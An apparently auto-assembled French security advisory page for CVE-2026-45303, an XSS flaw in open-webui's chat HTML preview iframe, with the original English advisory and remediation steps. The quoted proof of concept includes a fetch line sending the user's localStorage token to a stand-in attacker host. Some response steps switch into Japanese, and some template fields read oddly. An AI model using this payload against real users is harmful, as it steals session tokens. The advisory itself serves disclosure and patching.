XSS (Cross-Site Scripting) dans open-webui (CVE-2026-45303)
Résumé
XSS dans open-webui (CVE-2026-45303). Des informations confidentielles peuvent être exposées. Exploitable via High. Atténuation : mise à jour vers 0.6.5 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Summary
Through the HTML rendering view, scripts can be injected and executed.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`
By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
Impact
Fundamentally, this is a Self-XSS attack…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2026-45303 a été découverte dans open-webui.
Des attaquants peuvent cibler un point d'entrée spécifique comme High à distance pour détourner le produit.
Des informations confidentielles peuvent être exposées. Score CVSS : 7.7/10.
Action : mettez à jour open-webui vers 0.6.5 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « open-webui CVE-2026-45303 » sur le site de l'éditeur.
CVE-2026-45303 (open-webui) — CWE-79 / CVSS v3 7.7
Vecteur d'attaque : distant (réseau)
Surface d'attaque : High
Correctif : 0.6.5 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une XSS (CWE-79) affecte open-webui. Les attaquants atteignent le code vulnérable via High.
Consultez l'avis de l'éditeur pour les versions affectées de open-webui. Surface d'attaque : High.
Gravité : Élevée (CVSS 7.7/10). Des informations confidentielles peuvent être exposées.
Mettre à jour vers 0.6.5.
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'open-webui' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
open-webuiを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade open-webui to 0.6.5ステージング環境で 0.6.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Paquets affectés
Références
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com